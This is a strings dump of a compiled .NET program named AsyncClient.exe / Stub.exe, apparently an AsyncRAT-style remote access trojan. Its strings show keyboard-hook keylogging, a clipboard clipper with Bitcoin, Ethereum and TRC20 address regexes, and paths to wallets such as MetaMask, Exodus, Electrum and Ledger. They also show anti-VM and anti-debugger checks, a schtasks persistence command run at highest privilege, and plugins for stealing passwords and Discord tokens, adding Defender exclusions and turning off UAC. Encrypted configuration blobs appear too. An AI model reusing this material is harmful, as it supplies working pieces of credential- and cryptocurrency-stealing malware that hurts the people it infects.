!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
usdttrc20
<>9__0_0
<Main>b__0_0
<>c__DisplayClass0_0
<>c__DisplayClass1_0
<>c__DisplayClass2_0
<Read>b__0
<GetText>b__0
<SetText>b__0
<>p__0
<>9__2_1
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
__StaticArrayInitTypeSize=32
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
SwapInt32
X509Certificate2
<>o__3
WriteUInt64
ToUInt64
GetAsUInt64
SetAsUInt64
ToInt64
SwapInt64
ToUInt16
ToInt16
SwapInt16
HMACSHA256
Sha256
Aes256
aes256
__StaticArrayInitTypeSize=6
get_UTF8
<Module>
MessagePackLib.<PrivateImplementationDetails>
SystemParametersInfoA
1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B
ES_SYSTEM_REQUIRED
ES_DISPLAY_REQUIRED
MapNameToOID
_hookID
get_FormatID
EXECUTION_STATE
87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F
get_ASCII
offlineKL
WHKEYBOARDLL
WM_KEYDOWN
LASTINPUTINFO
System.IO
uptimeToDHMS
ES_CONTINUOUS
get_IV
set_IV
GenerateIV
value__
ReadServertData
mscorlib
System.Collections.Generic
Microsoft.VisualBasic
get_SendSync
WndProc
LowLevelKeyboardProc
dwThreadId
GetWindowThreadProcessId
lpdwProcessId
GetProcessById
EndRead
BeginRead
idThread
InnerAdd
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
Received
get_Guid
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
hWndChild
InnerAddMapChild
InnerAddArrayChild
Append
RegistryValueKind
CompareMethod
method
currentClipboard
Replace
IsNullOrWhiteSpace
CreateInstance
vkCode
wScanCode
keyCode
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
utf8Encode
DeleteSubKeyTree
get_Message
DetectSandboxie
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
SwapDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
WriteSingle
ToSingle
SetAsSingle
DownloadFile
InstallFile
DecodeFromFile
SaveBytesToFile
IsInRole
WindowsBuiltInRole
GetActiveWindowTitle
CurrentActiveWindowTitle
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_ExStyle
set_ExStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
fileName
lpModuleName
get_MachineName
get_OSFullName
get_FullName
IsValidDomainName
get_UserName
lowerName
get_ProcessName
SetName
CheckHostName
DateTime
get_LastWriteTime
ToUniversalTime
GetLastInputTime
dwTime
LastLastIdletime
sumofidletime
WriteLine
get_NewLine
Combine
UriHostNameType
get_ValueType
valueType
MsgPackType
ProtocolType
uMapType
GetType
SocketType
FileShare
System.Core
Serversignature
MethodBase
Dispose
StrReverse
X509Certificate
ValidateServerCertificate
certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
lpKeyState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
DeleteValue
ReturnValue
innerValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
AsyncClient.exe
cbSize
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
SizeOf
IndexOf
cchBuff
pwszBuff
lastInputInf
strFlag
CryptoConfig
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
SystemEvents_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
ReadString
DownloadString
WriteString
ToString
get_AsString
set_AsString
BytesAsString
GetAsString
SetAsString
GetString
BytesAsHexString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
get_Msg
ComputeHash
ComputeStringHash
strToHash
GetHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
loggerPath
HmacSha256Length
get_Length
IvLength
AuthKeyLength
fWinIni
msgpackObj
listObj
MessagePackLib.MessagePack
MsgPack
AsyncCallback
HookCallback
RemoteCertificateValidationCallback
TimerCallback
callback
unpack_msgpack
RegistryKeyPermissionCheck
FlushFinalBlock
idHook
SetHook
IsSmallDisk
strVal
RtlSetProcessIsCritical
ProcessCritical
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
AreEqual
get_Interval
set_Interval
Client.Install
kernel32.dll
user32.dll
ntdll.dll
WriteNull
SetAsNull
MutexControl
Encode2Stream
FileStream
NetworkStream
SslStream
DecodeFromStream
CryptoStream
GZipStream
MemoryStream
lParam
uParam
pvParam
wParam
Program
get_Item
get_Is64BitOperatingSystem
Client.Algorithm
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
Random
NotificationForm
ICryptoTransform
MsgPackEnum
WriteBoolean
ToBoolean
SetAsBoolean
TimeSpan
HwidGen
children
X509Chain
AppDomain
get_CurrentDomain
Pastebin
IsAdmin
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
ClipboardNotification
Application
System.Security.Authentication
uAction
System.Reflection
X509CertificateCollection
ManagementObjectCollection
Client.Connection
set_Position
position
CryptographicException
ArgumentNullException
ArgumentException
pattern
Unknown
ImageCodecInfo
SendInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
SystemParametersInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
WriteMap
PreventSleep
intpreclp
currentApp
Microsoft.CSharp
NormalStartup
System.Linq
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
InstallFolder
IdSender
sender
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
GetEncoder
get_Buffer
set_Buffer
WriteInteger
get_AsInteger
set_AsInteger
GetAsInteger
SetAsInteger
LimeLogger
DetectDebugger
ManagementObjectSearcher
SessionEndingEventHandler
AddClipboardFormatListener
Client.Helper
ToUpper
Clipper
clipper
DetectManufacturer
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
IntPtr
KillPs
System.Diagnostics
FromSeconds
inSeconds
NativeMethods
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
Encode2Bytes
GetUtf8Bytes
utf8Bytes
Rfc2898DeriveBytes
ReadAllBytes
DecodeFromBytes
SwapBytes
LoadFileAsBytes
GetAsBytes
SetAsBytes
GetBytes
rawBytes
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
esFlags
wFlags
Strings
InitializeSettings
SessionEndingEventArgs
Anti_Analysis
RunAntiAnalysis
ICredentials
set_Credentials
Equals
SslProtocols
ReadTools
WriteTools
BytesTools
get_CreateParams
System.Windows.Forms
Contains
Plugins
System.Text.RegularExpressions
System.Collections
StringSplitOptions
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
sslPolicyErrors
FileAccess
get_Success
hProcess
GetCurrentProcess
IPAddress
Compress
Decompress
System.Net.Sockets
set_Arguments
SystemEvents
Exists
Antivirus
Concat
ImageFormat
format
WriteFloat
get_AsFloat
set_AsFloat
GetAsFloat
SetAsFloat
LastAct
FindObject
ManagementBaseObject
ForcePathObject
object
Collect
Connect
Reconnect
System.Net
Target
Client.Handle_Packet
KeepAlivePacket
ClientSocket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
op_Explicit
ClientOnExit
IAsyncResult
RegexResult
result
ToUpperInvariant
WebClient
AsyncClient
InitializeClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
SetParent
hWndNewParent
parent
System.Collections.IEnumerator.Current
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
isDebuggerPresent
get_RemoteEndPoint
get_Count
get_TickCount
get_ProcessorCount
GetPathRoot
Decrypt
Encrypt
ParameterizedThreadStart
Convert
FailFast
ToList
GetKeyboardLayout
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
GetForegroundWindow
set_CreateNoWindow
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
btcregex
ethregex
CloseMutex
CreateMutex
WirteArray
InitializeArray
MsgPackArray
ToArray
get_AsArray
refAsArray
get_Key
set_Key
CreateSubKey
DeleteSubKey
OpenSubKey
get_PublicKey
_authKey
MapVirtualKey
masterKey
wVirtKey
RegistryKey
System.Security.Cryptography
Assembly
AddressFamily
BlockCopy
WriteBinary
ToBinary
get_SystemDirectory
SetRegistry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
WrapNonExceptionThrows
1.0.0.0
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName .NET Framework 4 Client Profile
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
R4IqOBcZtvh+YIkgy3EPp85RxX0t7glKAsezetLoV0CVNreU1Sf4XxMH0iq4He/T9rqs5DIDWC9X4AmU/f5Kug==
0Z05CcNab9Bz6bOh+Ue9tLshi6BhGnPfOJ/hqC0JRFTC4EOfzOBU+qU55o7pEozHbFi/120hJyIwvQ8l016i+gu+DJGLojMK73nADPJXudE=
S7giKltLS960RhzeQJUXqmvvlofG2kov8oVDTK67wj9sXScX5PUCHeEwLl12GDBoo/dGxWcPoNuMCOPpIhXWqR8obhlM812ChF4geetXNr8=
MjS3na16IHGIQsyy95gG+6Uqz5lWgCR79RYS1zX4uB/GXQ9EmzjXxI2iVFjJ95pzMXWQcYK0K/zQdM75D3lAKA==
%AppData%
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
g2MglQncdrN3Osf6nxKBlgOAnpIE6kqfZEku5bMZWrUv2WEkY0KJVFJxQSY7U5FLdIrqDHQA45hhZqZi+QYNMg==
SInbKkuCWo7WJO1rc6OM9W76BHCQfXIE1lo33QbxMyLSmUBV0b5SX2Ps06HkaGWwMkDfmKFNZL/2qPUrjcgXAw==
5vD8aCuNGjg5xYUIK0J00LN2ogKXVshlisMXPPasf8QlfofiM743c0wkHEjiedVZpjQsnM15qg36YPonyvvylg==
Kn4U9W8jbJRtUykzPmRQDU5+dejzRouIQr9qeAm8reV46ONdM9Upq9wrdSnYgSVmNq8dGY8b1b8faDCSC5aZpg==
k/4kZ01M6ugmD0tS1ud54mCuurq5N/HVrpphqApRYpJ2kFh7MBdgIpVVkHInfsbWQfSqwuuHbVAIYoHoSbLV5Q==
3iwBG+Sk36WCFa/eWxW2So6Ty51jh/YbqJ0STMgZiRKXGKWVGhyQrmbujx2pvYcIgMqcy0gZ09s5X/VGIMkKIw==
87DQkI9P/dgf5G9k/BJAmIHZBasY0UquhBpzgFcMGEpz6Szq8aLNyuKEQovLzngG7PrBaYRCeqA3a5YObdqGgA==
S2GictxpuwLofOd234tOFfWgkIVeUz72PMQblA4DDu83OIh/Q+kdVDhHVbvqFWPLVjxEYJGNjx3dz9IbGN8xGw==
GuzxMdSCIRF0tvPhonTSi+QYVcBty5Z4U4FnIIRqIcXL7t5iAzy/9LkaEoRW3SQL9zdBTCdmbtEb4fSFy5E8aA==
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\b
\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\b
T[A-Za-z1-9]{33}
BTC Clipper
ETH Clipper
Trc20 Clipper
Err HWID
ClientInfo
Microsoft
Version
Performance
Pastebin
Antivirus
\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Puplic
MetaMask
\AppData\Roaming\Bitcoin
btccore
Bitcoin Core
\AppData\Roaming\Exodus
Exodus
\AppData\Roaming\atomic
atomic
Atomic
\AppData\Roaming\Electrum
Electrum
\AppData\Local\Coinomi
Coinomi
\AppData\Roaming\Ledger Live
Ledger
\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Installed
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
DicordTokens
WebBrowserPass
anydesk
getscreen
WDExclusion
weburl
killps
ResetScale
KillProxy
backproxy
uacoff
sendPlugin
Hashes
AllInOne
Password
Tokens
Reset Scale succeeded!
BackProxy.Class1
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0